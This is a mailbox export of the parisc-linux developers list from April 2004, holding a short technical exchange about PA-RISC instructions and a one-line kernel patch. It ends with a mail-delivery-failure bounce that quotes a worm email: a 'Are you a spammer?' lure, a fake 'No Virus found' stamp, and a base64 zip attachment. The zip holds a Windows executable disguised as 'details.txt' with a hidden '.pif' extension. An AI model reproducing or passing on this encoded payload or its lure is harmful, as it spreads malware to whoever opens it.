	i3Q20LHS013939; Sun, 25 Apr 2004 22:00:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3Q20KMx013937;
	Sun, 25 Apr 2004 22:00:20 -0400 (EDT)
In-Reply-To: <20040426014111.GC3965@tausq.org> from "Randolph Chung" at Apr 25,
	2004 06:41:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 02:00:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21516

> willy, kyle found out that this doesn't work:
> 
> > > Split out 7300LC from 7100LC and PREFETCH from PA20.
> 
> extern inline void prefetchw(const void *addr)
> {
>         __asm__("ldd 0(%0), %%r0" : : "r" (addr));
> }
> 
> on pa11 gas won't assemble the ldd insn.

Right.  "ldd" requires pa20.

It looks like the 7300LC is PCX-L2.  I think this is PA 1.1e chip.
<http://www.openpa.net/cpu.html#xl2>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Mon, 26 Apr 2004 00:51:35 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20040426045135.GM14937@baldric.uwo.ca>
References: <20040426044648.93EE4494593@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623406 8958 80.91.229.3 (22 Nov 2014 02:30:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:06 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Sun Apr 25 22:51:58 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3300748AE; Sun, 25 Apr 2004 22:51:58 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BHy5f-0003J0-00; Mon, 26 Apr 2004 00:51:35 -0400
Content-Disposition: inline
In-Reply-To: <20040426044648.93EE4494593@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (85% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 04:51:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21517

On Sun, Apr 25, 2004 at 10:46:48PM -0600, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	04/04/25 22:46:48
> 
> Modified files:
> 	kernel         : compat_signal.c 
> 
> Log message:
> Add __SI_MESGQ case to compat (simple one liner)

Add the __SI_MESGQ case so that siginfo delivers the right data.

Index: kernel/compat_signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/compat_signal.c,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- a/kernel/compat_signal.c	28 Jan 2004 05:12:46 -0000	1.2
+++ b/kernel/compat_signal.c	26 Apr 2004 04:46:48 -0000	1.3
@@ -102,6 +102,7 @@ int compat_copy_siginfo_to_user(compat_s
 		err |= __put_user(compat_from.si_stime, &to->si_stime);
 		break;
 	case __SI_RT: /* This is not generated by the kernel as of now. */
+	case __SI_MESGQ: /* But this is */
 		compat_from.si_pid = (compat_pid_t)(from->si_pid);
 		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
 		compat_from.si_int = (compat_int_t)(from->si_int);


From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery System <Mailer-Daemon@cs.hut.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mail delivery failed: returning message to sender
Date: Mon, 26 Apr 2004 10:14:42 +0300
Lines: 279
Approved: news@gmane.org
Message-ID: <E1BI0KA-0005Vv-Fk@hutcs.cs.hut.fi>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623406 8961 80.91.229.3 (22 Nov 2014 02:30:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Mon Apr 26 01:14:44 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hutcs.cs.hut.fi (hutcs.cs.hut.fi [130.233.192.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAEBE4858
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 01:14:43 -0600 (MDT)
Original-Received: from exim by hutcs.cs.hut.fi with local (Exim 4.30)
	id 1BI0KA-0005Vv-Fk
	for parisc-linux@lists.parisc-linux.org; Mon, 26 Apr 2004 10:14:42 +0300
X-Failed-Recipients: tvr@tekla.fi
Auto-Submitted: auto-generated
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 07:14:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21518

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  tvr@tekla.fi
    (generated from tvr@cs.hut.fi)
    SMTP error from remote mailer after end of data:
    host mailgw.tekla.com [193.64.145.7]: 550 5.7.1 Message content rejected

------ This is a copy of the message, including all the headers. ------
------ The body of the message is 40931 characters long; only the first
------ 16384 or so are included here.

Return-path: <parisc-linux@lists.parisc-linux.org>
Received: from exim by hutcs.cs.hut.fi with SA-reinject (Exim 4.30)
	id 1BI0K1-0005UR-9y
	for tvr@cs.hut.fi; Mon, 26 Apr 2004 10:14:33 +0300
Received: from [210.22.120.26] (helo=cs.hut.fi)
	by hutcs.cs.hut.fi with esmtp (Exim 4.30)
	id 1BI0Jx-0005Te-Ah
	for tvr@cs.hut.fi; Mon, 26 Apr 2004 10:14:29 +0300
From: parisc-linux@lists.parisc-linux.org
To: tvr@cs.hut.fi
Subject: Spamed?
Date: Mon, 26 Apr 2004 15:14:39 +0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Priority: 3
X-MSMail-Priority: Normal
X-Spam-Antiloop: TKO/hutcs/spamc
X-Spam-Checker-Version: SpamAssassin 2.63-tko20040217 (2004-01-11) on 
	hutcs.cs.hut.fi
X-Spam-Level: **
X-Spam-Status: No, hits=2.5 required=5.0 tests=MIME_BOUND_NEXTPART,
	MISSING_MIMEOLE,NO_REAL_NAME,PRIORITY_NO_NAME,RCVD_IN_RFCI 
	autolearn=no version=2.63-tko20040217
Message-Id: <E1BI0K1-0005UR-9y@hutcs.cs.hut.fi>

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Are you a spammer? (I found your email on a spammer website!?!)

+++ Attachment: No Virus found
+++ Bitdefender AntiVirus - www.bitdefender.com


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="list_ed.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="list_ed.zip"

UEsDBAoAAAAAAK00mjCjiB3egHMAAIBzAABUAAAAZGV0YWlscy50eHQgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAucGlmTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAYAAAAA4fug4AtAnNIbgBTM0hV2luZG93cyBQcm9ncmFtDQokUEUAAEwB
AwAAAAAAAAAAAAAAAADgAA8BCwEAAAAEAAAAcgAAAAAAAAAgAQAAEAAAACAAAAAAQAAAEAAA
AAIAAAQAAAAAAAAABAAAAAAAAAAAMAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAA
AAAQAAAAAAAAAAAAAAD0IAEAawAAAACwAABobQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdAAAAACgAAAAEAAAAAAAAAAAAAAAAAAA
AAAAAAAAAADgAADAAAAAAHRhAAAAcAAAALAAAHRvAAAABAAAAAAAAAAAAAAAAAAA4AAAwAAA
AABhAAAAABAAAAAgAQAAAgAAAAIAAAAAAAAAAAAAAAAAAOAAAMAFBAYEAQDOIUAAAgAAQAAA
AG4AAAAMAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAC70AFAAL8AEEAAviwcQQBT6AoAAAAC
0nUFihZGEtLD/LKApGoCW/8UJHP3M8n/FCRzGDPA/xQkcyGzAkGwEP8UJBLAc/l1P6rr3OhD
AAAAK8t1EOg4AAAA6yis0eh0QRPJ6xyRSMHgCKzoIgAAAD0AfQAAcwqA/AVzBoP4f3cCQUGV
i8WzAVaL9yvw86Re65YzyUH/VCQEE8n/VCQEcvTDX1sPtztPdAhPdBPB5wzrB4t7AleDwwRD
Q+lR////X7soIUEAR4s3r1f/E5UzwK51/f4PdO/+D3UGR/83r+sJ/g8PhKLw/v9XVf9TBAkG
rXXbi+zDHCEBAAAAAAAAAAAANCEBACghAQAAAAAAAAAAAAAAAAAAAAAAAAAAAEAhAQBOIQEA
AAAAAEAhAQBOIQEAAAAAAEtFUk5FTDMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRk
cmVzcwDrAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAEAAgAYAQCAKAAAgAMAAABAAACADgAAAGAAAIAAAAAAAAAAAAAA
AAAAAAEAZQAAAHgAAIAAAAAAAAAAAAAAAAAAAAIAAQAAAJAAAIACAAAAqAAAgAAAAAAAAAAA
AAAAAAEAAAAmAQCAwAAAgAAAAAAAAAAAAAAAAAAAAQAHBAAA2AAAAAAAAAAAAAAAAAAAAAAA
AQAHBAAA6AAAAAAAAAAAAAAAAAAAAAAAAQAHBAAA+AAAAAAAAAAAAAAAAAAAAAAAAQAHBAAA
CAEAADCxAAAAaAAAAAAAAAAAAABEGQEA6AIAAAAAAAAAAAAAMEAAACgBAAAAAAAAAAAAADAZ
AQAiAAAAAAAAAAAAAAAGAEIASQBOAEEAUgBZAAEAMAAAAAAAAABrfWaFlBWtHdaU3cSJ5jkx
Sa21WPCTlzJZK9HA/RaOTkibC/U7SahjXd4/321otIeaqs3c98FEgSkIG0C6ODBOmsur3t5w
GFBqh50Kds6TPEgjC6CdNZN7rjIV8vVYEeYEudN7R75kOiMW8iMOucg+gAgTXuypw1pQ+ca7
eliihvH+BKZOhikSH0oRAfDprm0Vh687q8QC/ZmshNoRyjjQjMemK1iKjEvkj8KBP4/d0gQr
joViQVpcRCQCofUL//pjNEcThyvQrFIhYOB29tPY/yF8mWd97Pk/bNiiP2WUW+j2DTqnFxOp
9dMi6sWwnvjkyggxsi4BkiGP2II4tZ6x1rLKgUZ8XsW+9S/Ji25/hCze1WlfWwiU3UCXYzry
PnJEh8orO18rjsHmyS6iSx58HvJ7SFS2KoUB065NYMOkJXQG7YFuOKmLZz6kIEHBlhsaL6fX
2L2O7wDx9kimzvhSeVIJise//UQYlGGngOYO+cK8/R3Dtl1ZsiPgXbQvX4G3M5dPL2tRQT3S
qssXE6+cRPIrIgjovkwjDS+TuzwDO5ZxT9aMdcoLPL4mlf+QoY4aadfuOJzaTxc8hPOBOwwH
ftPYKcglkil/IX4MHqULV82GzO85GtjqghWLg/Nnom7XI9tQycfRI2zCWjldmhV9ZjpG/XWq
4UW4lJ05+Tfr9wlX/1F596yCbQlgIqSy6YqsI1pPUpQdCV0IQVk8whLKDtufVb7pUszp8jvR
3JOuBudvjIg6ebOdnVJErWJhPY+YbUwHwgDlTEjwkU7rh4l3fuCDsZSUzOn1l5dTlVyVr8ZA
xcqsJY5H8V0Ln7vLpmfbROjSSDuPdsue4VP7+0ERbOcAiSSgdYdO8VDOM1YrXWVhYvE9XCXL
iDDLs36GaT30K6RL0rnD08Z0CeM6ckHihP+aGF0/tXGVFf19BUQ3vMTUWRmeuKC0wa3d5Lpl
EH2g5TdOjyxo7lgVHrl3ftEVRqrJ+nDkM7GnZXXbmni/tiHc4py7ambMO/fWbb58X9DgdZr2
MIalUuFkeM/C83YVcKxDCMlC1pKlhc+jwYYKdvz8dBXG5h0f1XKPyRkeXyPzHQGdovzgyf6F
rmJo5PmOAQgAYBpMxKHsV2LQiUCfZxP2xWAs4K74rcAes5vdVqBXYeXeFADCX47amOz6o2Fp
OAE2W1A1Zacc/sWcQrpGNGbPzJedST7hJMXZJVKNy7LLBP2V90UwX7IHSyhFxPPTlRpdlJtx
YLAU3s+EekcFyTLIwRYHVjWm16JZXIxAhQROCT/c+L5SU8juIBBaGTg21xUr52qxnAfzmZdz
LksQUE+0vr6WcDtbfnRz4lhVzqCXLuEPlcGOB25srOGhtfZXA0llkT5irGdOIYJdpth4ywJl
kp4tZzMwgzWFTY/+U0A/e4Q30iVwhPG4rXCk+CakG0ZZe48xZDriMjSo+R7+LHYI6nu34GDL
QyJD8Kfbx4+7coaLSI86T8fhZbtiUi0l02A582HFQrAyBI3aPmQs/2UHgqm3oeH5Q2YHwraT
+ZCHz+RL6RkZkj6zuNhdMeK/YDD6hyzsbrnX/5b7Hu7U+hNtkbC8ptcin0sBLQk0qVQikf3q
/5bji4TzlQqGIZLtkO+5LYjHMWvl2hbF9P3QgpUxFtq8jjTIi12BTMgh5i5hOdWcG3ed5DF0
FXBK1S61RT3MvlCrJKE5y0qBc4mJ0VQqx71MSz0sn07k1WWgdWMUVrF7ovQu4kr3YAVg8UW/
x2G05+Gv3cyVNf4xV7crfNOFQchKZvzrhyxUkbAqTGaC2X00bQJ3FjBQRNQugF+At7VbFaU1
61BdnvlgvLTjxi+ezY5yHpRYqekL64PDrTr5fZubHvR6xAvDgZuneevur7yBGJo/vjfkcUR0
PNNuNKDp6Zh8N0TG377/TLVcHKDbJQQrlmwhpiach74ku+gCLcNA77i89FZWxaEcIWph08a0
v22+Fqp2qrXUucvnS5nZvA1rqpv5a3XoFb1rgOr3DIORtoTqJcbyiZKumdQIDmMM5GSs5g2M
Iwpgme3LtIaM1+V15RAnWaDzecNEPqSrsZw6ohhbhfyV91y5ZBw0j3qFISWnwYznONdhpxbs
/NJzA+qBEX4pe1/pVgPpRY4d31RmDvvlOZUU9K+fdCKEojnHNRljbLadBWUCwOseejT+Bf0x
5RFcR35Pm6PC0e7ynrTH286difSlPdd9+YX3cb+fiD92mXig4oP0HLfaS3fru+QmsXdzwYvn
JypM5tHZ2ZRgXt4JZITF2WWePoPV/16NC9NoXws7GPbBemD8C712VZI0xQAiljWXv7Ol10ih
Gf1V6fsLkPRUci/U8STqcx6QxiFqbwCRzb/IursoewRVuODgmw3YZt0MjCD5MmmRktfLBXbb
misE2eLD3+rL9tm3uUqYi5eUbw3iF3vMJiQnrzikGyW7TCYwZRLnzoDox4P0QJ0x+n8JHKta
JDUyBPKrTAshxak3Fs+N5xJyuuntAf5HSqqdozBrXQ8nchqJqX4W/aD4evqdKShlUiru4bjC
z4YC0SSl9cCqe26CwI6HbKUp+IQLvvqt0UIwhVoPYEqS3NW1PEkNZrrUibD/6k6RhODMFGu2
G2/Kjchiyd6OR30K2kWdAWHPacb6Z9ECZu6+f49dQbZy/xQzxe24vYNqEl0YJNcPKKDP8zEw
WtBhM4wTtK09miuWQN8IxzwCfuPjcUmVhDagqDbMTSRTyoNZfZNNvXTVfpNZ8Q0aIHu9pq0a
OHsEictSBOxvwb2dtCSuM5nZ1VbJecYGZ/+xmRHqxBkiAAh+5KSQ60wJUHde6fvJiR7zy5w7
yJwKJhYudVG8/CGjpgSyoh6PHKu/AC7rJ1XCSezD+g9X2k5QLtVu5+lABP01ycF/l0m6wa2H
4WalQa64SMe0BNP/9JY1Kcs62+ypFqRcJ8GWXI1IQpW8y1sYQKa/2NR64WgyuwnNXP3MUEIs
QZxUb905dNfde9PKkU6numucTOW+NQFfzgAIYHQ+oVy2etASKXloFQZ4TdjB/cpUx1El9dyB
btV38Gz9tJhQR8xVm/O+QkxIqcx53fM6QpMx/hTRWkOLpFZGV3XXOOBqX+6IyKO4wUB1YJpF
bkJTHLXGPz80Dp4WOftnX/HBo7E0murP3q3C/zBe+Jpx9hJlLGq6VwLIxtAsI+mBX+Z/i5OH
tdSgONw30zkG2zp3NdX2xjv0D7U9JyGeMWlH+izvMe3omgAoN/OIfjPyryrdKXAQsmBvWiDc
pmPEIAF/0s8tJpGuhzUEXdcTJHXFcEdF/VcAkJDGdD/w1KzCNjfyMsVnE4BeB+sZRopGQbfJ
goDl2ob0jGl66swu0NxnUnPeBzEjBCBGC4m57cwQT9s79ZAvq9Cgu0TLYebJPB1Txu8p+11K
eIcFTyIYNr/LAKeoCIHyswIZyCCfUUyxzI8l5PjkP5Afnw+alU07Q2PC23s+rZiZMnzWSfHX
YxcShwemBbuxK/yZrgbggL+TGOrJFWaCBm+zOeQ27GeAWJZQn55nMNZMNUkh1WRvjgqvX0Nr
PiOIKVZBJLiBbwT0mk+OGRAB1wCS3E8T+RzKF8A1nmGJcTzFHGmoRzoIv+1qcAKoUGq213Vl
cnsIaYXx3MJcS6NbrSW+Sc3PBU4N60T8nWVQvcSP2o5OmS3ncVKwZCioOd/SIw/Vax2WEP4z
u08hwgXNThwc4jSBNNL34YlO9VN65YDb42KMlvlBR4bxNMq6Sg40UqAxv6hBqCEze37ZJtCm
gEZFn/Kz25XelF2utCFnuxYmROjxG2BqjHCr0L2fFtL19Sy7IFjO30S/n5s5Oonwi1zD7iLs
5mv3o6GgvWi8zLByzWoJ8u69pq94jtYmna501glSCAPXJG0SC/f2GceO2HkhJZNiRkI/1MBv
WEpOUUHUYZIejquPTaazbenBLNN8xT8tcbLgJPxxJ5jWtLJGz1wLN2NwJ880B4tLxY4RrtZW
ZPCWcyrOo2SxuSrbQjTtSPkq7VQ6jv81/l7cktv8iUct+/ByoTFn5/R7LQcTCbT/AgE6oCH5
1PtX6okI/9C9TXn6E5e65MB7/fnpYL9Fd2XUAQWCmgMZRa/xLK8vtApT4NWLNcGITKXc1FjB
HB2aZb7zMUkfW50WtSkxJg3yRxprQfhBATGikr5OLcC/KHsEysWRvudFQZjvCeeeo40kmcc+
Ua3Mv4c7Hgrc/XTxWr0hOYBXenUnf3LPPaxjBqkhAXXiIeEHsYnjKMvi2B/XfCADSwFXQz7o
aYzt6y2oyxWZ+65zWK9PHHF07RUjGwlA4yrpoJOdnaWZoIDRYG2WGNFzXLsPtwUsQEnKByMh
htmbVZZFr+DPs54J55VvLMu6DNyqsJmew/lJBcf4c8O89zeA2x6su4UpvCdAT1ztm3zmLKsP
A7EWWYEJ591fFcx1XRdKtXqtONzuhHE3wMVDUUedY7C4XQE7Q1HagX8s+Xt5I5Es5lCYPl5X
ZVZ9vCghsT9IPKHhE7BG6oGN8/DWEleGKdZ/xLUibkknsEVTCesEUpUt0RyvGmu35/qA1Bkm
g7lGD2eGDjH7SoJtEe+U2JLhlP95zIJ9OseUmQ7kMS3Wm2o1DEhUDk7Ev8daaao8bELkuX99
OOyKhcMUiSspwceDX1hLC915PLln9sTHxIDkt0lW/H6/h7nzXZBnHbThrBDC9bUla3DMw7iY
TKk6oZEBs9lzc6Bkrq5IKMSmqlJS1sngljqPiUDjjFEdK3s+4eQIkytRasas5UiHr1y//H01
4OH48/n9TJFmZcLCvCWGX0+/uWkxpfRRq6n7J63zNduK0XpLdr8JJD2925Z22M2eykhbwA+4
hmRdiR/sVqUUlYwnKU1UeUfjygSsjv1aX2Ln1NzSQJGCjcgH75a8td6MDLcumzxuKVrkYjid
VtyO3I+VMScQxRyVOy1UtMsf/2OTmNOgJtZ2o99k1YHe/u+TNXTdl1E0jmWhIBV8MX4pkc6Y
2sV0FE8OYP9qXzujRP4stfm9Pn8OUV9MhbN57H6GAVlF3XMyfBiPynr2lkTwVx4aKzcVwWmN
UssS8sx0w5QSdvhouslV1QHu1rDnOqbZrU+5rvCvfd3ZKXjlsiGO3g80C/qMKgLg8XwiMVpT
aahvXotv31cm0i1diE7pT7gpNXFX0W1yv1FI3eUAk0GgwMTJX/yNgJSjiOQRswfwJrB2a2mY
I+BkOrVSKJm9QHwmk58b7wgrtsfUkG+vS/c49FN15ijXki6tyv27E+b6rJHXlTgau3GsHBR/
nZMJt+aJfAJNwdyw04wTNO0kEr5xmwuZkWhZYVoscdgVXka4UOTLKpti5BiMllZeBUCaYI2b
P5OovGO9HBTzoORe7TV/gWDQ2Us0TQI8A8+W+L5CAHeXohZwaTx57oQFynfNqApqYfDs3kMK
1fh0kZC8URFSYBdwqTcsGj0s5ELai+woBPrrOG3QqOn8J0cGLknr0hh2L5j1N5oSmXV/NZfu
qJYVhEi4Jz1DQYXMmfe7bE6+2SUg5kFe7ojzQqCRPUKPPlXfORtfTfrcR2OhAg+7RYoOqdN+
tN4HWL/+xe6fx/ZUaIMhcZAdhLhJjjW6oaS4UuPRDEY4Oum7rB7O/hZce9yoJTchPipMSkGK
9gNz8T/ETnQwMMVIOrpFUzgJ2dtumPb4GbcBnvnJb1XCuLuxvgIwIxVTHKArScj1NKEx+/0C
sw1Cqw5h+UEAMuUVRhbIlgZtZ++GCc8sYRQ1ccFOEzHTolRHze6spX4y0h6Mc4iiZBKW1wXG
UPTfLsvRGi67lnbWS5j0O0tEbOXw1H+LVre3ejnVrwofIQcvDlh2RjaZTLFaFSZcJrUlMK+4
Iu9J9O7w3owhadJuz0chqdEw9gtQ5CLqO/yoKwC06S5X7lumr1Oj2nYygLfPeIeFvCt+qctn
cB8ukgcL1YAxi8lhpkZZO9fIBGwqvffU6W5hk2e3aGzUViHQmAC7FbIU+qIUjiPdoTFGRJCZ
RrILvBoOicJ8L9YcWsfZCw+/51O9q5XVurNYSY4vhXJHcjnErI/8EPt4n/UQVCj9xl6Br8o6
KcuFYaaHuFo5jLzlae6NsMvcrekMqNPf9riEo52QMaRsaV0bnUtpZJPMsSotaG3DEqaJGSoG
0R/l87qYx0yYH4WWQ3gUSdRCpph0xEXTCqs/DRiQn1xh/eUQhkUVYycHyldlcem4WxEfxcA+
frclVbm1K+Tb4FIoP6T4FVF+B7xNzEiasfet+hh+SvUerPTUuuaAKpnrZOlib5UPyCCbJCmX
qLJufkxPc5ul7ryekI+FoT1UIUr6ACXVg9Oa/HPgnm+hmD3+2lwU5Ewpp8sOxgBzyUdalBAG
hyvlKY5uR0tgLwQw+nOWWEOpVPTZZY0/yfa3eWWyuNhPj0Z5aUCpcGAEZE/7SY0hpvEskvju
hj78emETLVXthgTkU7w8EYLSJ7eyn/2TZshS+Tw73lHcnGhVLW6tvyKax9p4wjxUXTzC1xXC
kWKWQl7VabXDpGNRnet+GUbrmn4HNsN1h+DYl4+BdA/Hvgen5frkY2VaTDTxGX8TXm2rC5qu
leqjlxe+zyMhM6p7mzlINnVcPIbnSF/0p2EsVEI9F/Lt358LPn4YerN3kVN8MzuGX/zY1xK9
cYN5GE1XopnAAH0rChgzPgGgCRTCTYeyuMJKDB5mhQH13D5Qa2H0o3KPcgGbMnKQ13lZhW7G
eRdO2Wbfzm0VPbDp7mEVkZMwGnHqpOjkrsqtJINCxQq/50VPuivqTO8ixxVmxQ8iSNPrqvg+
B0oAEvKGoOif2Z2Me6fjgeMah1nS6Ha+ZmnCb/MnlY7B81gCqbrRoE15fTvfXHIPxPGCZvlP
xiHiZnLqUmCxLzev6uRtgBj4DEGAQGCo/07879Eiun2Rgrp2kqpaRyUXgIqrGd0fFJ34epTC
5Ety4E9RJa3fDDxdGYq/Z+4jquaaETl5lPb1Ibdn4LDEjl+9CPHUEqOHk1aujzI2nLzSK/tM
2CaKEUAZIpLiN7n4KKlnSXo5Cvle4a74NxpsJRmOyxJFCwftHHRljZQZw3PovwKLCouqg7LO
WmFNgCbt4U0BszTrXh0FJS1JPdX4Y6HMAxjCo8nnoDUx3r04VoF7Pse6GB5eAtjzuILxEJaH
8BVhNCS2iCZQoCU/+H1tjDOgZaEJTYy6ymf8efsXOY5xlASlyeocmWdH7fID5uf6e5hkHaI5
nQkOygb2dt75fYz+ath534sIBLaZ6Vo9QbuEtBViRwjoP8ILGwJkkGtEqUclTUulD+9+icvp
yqZrZWrfAcN9KQSD9UwQ9sQcFduvGwUxgUufso+0m2rhxH6LiLMe/vnmlsOIN33qTvbdQy9W
IiF/nApRrzpTmD/YZq7I13Fy8gl/NL5Ppwh7DGkE7ZIbir8F3FUnmCEq8h482ss+k0xIACOI
8LwcXLIl0qr8p+kXXDMlH/qdY5y3ZOjwNfHVoHJCGD0oUiXHEnNYwfCSQeWmw7HN23ea8fGN
QRtvl9gqmbi8SAaKlqzk8jwMSu+/XI7t5PqqKhY+jlalHuPF6H1QP8ZxJ99gK5kzmmk6poQo
xMZPNtrs7vxHmsxSChVPIo+RTNtlSKczusO61o83fAoxvq5yYIYLEkRo4vcyLvlm3eSL637N
5UniH9KoamWiWFpE+Kb7Pg5tAtzhh0GF94+V6yl8zWYMkA2nSyImDdwZqrvsHoN8e/ddCkIQ
1BhD7gWb0k+ZFPItOkqLlgDezjb8tGHlEBiBeQa2sj8poDpeB3I6Cg06ahF9FikaHO2mqFOO
bv84I9sTW6hkKmwpNwnJo5rde2dHtOC9P987DIaIcPlk3AsmrswtTDSfjmK+TtzKdwwHX26+
wSjLe5cUmcOTXBngvQMjN77RJogejdGVwDpIqSqucSW+zfdx9rM/ulwUfps6lU384zXZ8QNC
dzf5tf3SKq0JF+7N/X5qVXjXlKGgiZFzTF2N5O/XfDI99TGsoKVdkwrZHHjyU3bK5PuYUf/2
/bfT6lUzkowjeoGCRTyQ/phWXpaUf+S9HBsXHOo51xvlLjqgQO8mg8aM/N/isOiTTBdiB3tj
wrgQfShmpZbvw7nkVS7JZV/l/SLORv0NF+w0RrOPx6PNQcKRBRkfmjahaM7ZyArmlMHjdIyE
E3S2eeCPCuiTatEipkgPKx19PNlp2HNT6jLu9H1mnfTsfDtJqMh/XR54mcx9BYe+6FCjhRd4
8sOanRSnzSyIFdRzMp1H+5T961Vk19u/X7OXX/Cm+TKILej771U0r/RjGD4uHCKVESLkh7uq
Hv87cOLhInju8laO7luba0ZuCML9MI4XI8Aicw4rKFL2dCjaZ7r6YD0QyTXRs5/v4uqNh2Zf
